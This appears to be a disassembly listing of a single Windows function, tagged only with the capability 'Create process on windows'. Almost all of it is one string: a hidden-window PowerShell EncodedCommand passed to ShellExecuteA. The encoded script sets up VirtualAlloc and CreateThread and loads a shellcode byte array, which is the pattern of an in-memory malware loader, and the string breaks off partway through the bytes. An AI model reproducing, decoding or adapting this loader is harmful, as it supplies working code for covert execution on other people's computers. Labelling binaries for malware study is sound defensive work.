Function at 0x140001450
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__window_hidden__EncodedCommand_JAA3AHQAWgBJACAAPQAgACcAJAA1AE8AcQBoACAAPQAgACcAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBhAGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAgAGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAsACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBTAHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBzAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3AEMAcgBlAGEAdABpAG8AbgBGAGwAYQBnAHMALAAgAEkAbgB0AFAAdAByACAAbABwAFQAaAByAGUAYQBkAEkAZAApADsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbQBzAHYAYwByAHQALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAG0AZQBtAHMAZQB0ACgASQBuAHQAUAB0AHIAIABkAGUAcwB0ACwAIAB1AGkAbgB0ACAAcwByAGMALAAgAHUAaQBuAHQAIABjAG8AdQBuAHQAKQA7ACcAJwA7ACQAdwAgAD0AIABBAGQAZAAtAFQAeQBwAGUAIAAtAG0AZQBtAGIAZQByAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkADUATwBxAGgAIAAtAE4AYQBtAGUAIAAiAFcAaQBuADMAMgAiACAALQBuAGEAbQBlAHMAcABhAGMAZQAgAFcAaQBuADMAMgBGAHUAbgBjAHQAaQBvAG4AcwAgAC0AcABhAHMAcwB0AGgAcgB1ADsAWwBCAHkAdABlAFsAXQBdADsAWwBCAHkAdABlAFsAXQBdACQAegAgAD0AIAAwAHgAZABhACwAMAB4AGMAMQAsADAAeABiADgALAAwAHgAZgBiACwAMAB4ADQAZgAsADAAeAA5AGUALAAwAHgAMgBkACwAMAB4AGQAOQAsADAAeAA3ADQALAAwAHgAMgA0ACwAMAB4AGYANAAsADAAeAA1AGIALAAwAHgAMgBiACwAMAB4AGMAOQAsADAAeABiADEALAAwAHgANQAwACwAMAB4ADMAMQAsADAAeAA0ADMALAAwAHgAMQBhACwAMAB4ADgAMwAsADAAeABlAGIALAAwAHgAZgBjACwAMAB4ADAAMwAsADAAeAA0ADMALAAwAHgAMQA2ACwAMAB4AGUAMgAsADAAeAAwAGUALAAwAHgAYgAzACwAMAB4ADcANgAsADAAeABhADIALAAwAHgAZgAwACwAMAB4ADQAYwAsADAAeAA4ADcALAAwAHgAZABkACwAMAB4AGMAMQAsADAAeAA5AGUALAAwAHgAMABlACwAMAB4AGYAOAAsADAAeAA0ADUALAAwAHgAOQA0ACwAMAB4ADQAMwAsADAAeAAzADMALAAwAHgAMABlACwAMAB4AGYAOAAsADAAeAA2AGYALAAwAHgAYgA4ACwAMAB4ADQAMgAsADAAeABlADkALAAwAHgANQBlACwAMAB4ADQAMQAsADAAeAA2AGQALAAwAHgAYQA2ACwAMAB4AGUAYgAsADAAeAA5AGIALAAwAHgAZgBhACwAMAB4AGIAYQAsADAAeABjADMALAAwAHgAZAAyACwAMAB4ADMAYwAsADAAeAA5ADYALAAwAHgAMgA4ACwAMAB4ADcANAAsADAAeABjADAALAAwAHgAZQA1ACwAMAB4ADcAYwAsADAAeAA1ADYALAAwAHgAZgA5ACwAMAB4ADIANQAsADAAeAA3ADEALAAwAHgAOQA3ACwAMAB4ADMAZQAsADAAeABmADAALAAwAHgAZgBmACwAMAB4ADcAOAAsADAAeAA5ADIALAAwAHgANQA0ACwAMAB4ADgAYgAsADAAeABkADUALAAwAHgAMAAyACwAMAB4AGQAMAAsADAAeABjADkALAAwAHgAZQA1ACwAMAB4ADIAMwAsADAAeAAzADYALAAwAHgANAA2ACwAMAB4ADUANQAsADAAeAA1AGIALAAwAHgAMwAzACwAMAB4ADkAOQAsADAAeAAyADIALAAwAHgAZAA3ACwAMAB4ADMAYQAsADAAeABjAGEALAAwAHgANAAwACwAMAB4AGEAZgAsADAAeAAyADQALAAwAHgANgAxACwAMAB4ADAAZQAsADAAeAAwAGYALAAwAHgAMAA1ACwAMAB4ADcANAAsADAAeAA3AGMALAAwAHgAYwBhACwAMAB4ADYAYwAsADAAeAAwADIALAAwAHgAYgBlACwAMAB4AGUANQAsADAAeAA5ADEALAAwAHgAYQAyACwAMAB4ADMANQAsADAAeAAzADEALAAwAHgAZQA1ACwAMAB4ADMANAAsADAAeAA5AGMALAAwAHgAMAA4ACwAMAB4ADMAOQAsADAAeAA5AGEALAAwAHgAZQAxACwAMAB4AGEANQAsADAAeABiADQALAAwAHgAZQAyACwAMAB4ADIANgAsADAAeAAwADEALAAwAHgAMgA3ACwAMAB4ADkAMQAsADAAeAA1AGMALAAwAHgANwAyACwAMAB4AGQAYQAsADAAeABhADIALAAwAHgAYQA2ACwAMAB4ADAAOQAsADAAeAAwADAALAAwAHgAMgA2ACwAMAB4ADMAOQAsADAAeABhADkALAAwAHgAYwAzACwAMAB4ADkAMAAsADAAeAA5AGQALAAwAHgANAA4ACwAMAB4ADAANwAsADAAeAA0ADYALAAwAHgANQA1ACwAMAB4ADQANgAsADAAeABlAGMALAAwAHgAMABjACwAMAB4ADMAMQAsADAAeAA0AGEALAAwAHgAZgAzACwAMAB4AGMAMQAsADAAeAA0ADkALAAwAHgANwA2ACwAMAB4ADcAOAAsADAAeABlADQALAAwAHgAOQBkACwAMAB4AGYAZgAsADAAeAAzAGEALAAwAHgAYwAzACwAMAB4ADMAOQAsADAAeABhADQALAAwAHgAOQA5ACwAMAB4ADYAYQAsADAAeAAxAGIALAAwAHgAMAAwACwAMAB4ADQAZgAsADAAeAA5ADIALAAwAHgANwBiACwAMAB4AGUAYwAsADAAeAAzADAALAAwAHgAMwA2ACwAMAB4AGYANwAsADAAeAAxAGUALAAwAHgAMgA2ACwAMAB4ADQANgAsADAAeABmADgALAAwAHgAZQAxACwAMAB4ADQANwAsADAAeAAxAGEALAAwAHgANgBmACwAMAB4ADIAZQAsADAAeAA4AGEALAAwAHgAYQA1ACwAMAB4ADYAZgAsADAAeAAzADgALAAwAHgAOQBkACwAMAB4AGQANgAsADAAeAA1AGQALAAwAHgAZQA3ACwAMAB4ADMANQAsADAAeAA3ADEALAAwAHgAZQBlACwAMAB4ADYAMAAsADAAeAA5AD
lea r8, str.powershell.exe
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov ecx, 0
call sym.exit
nop
nop
nop
nop
nop
nop
nop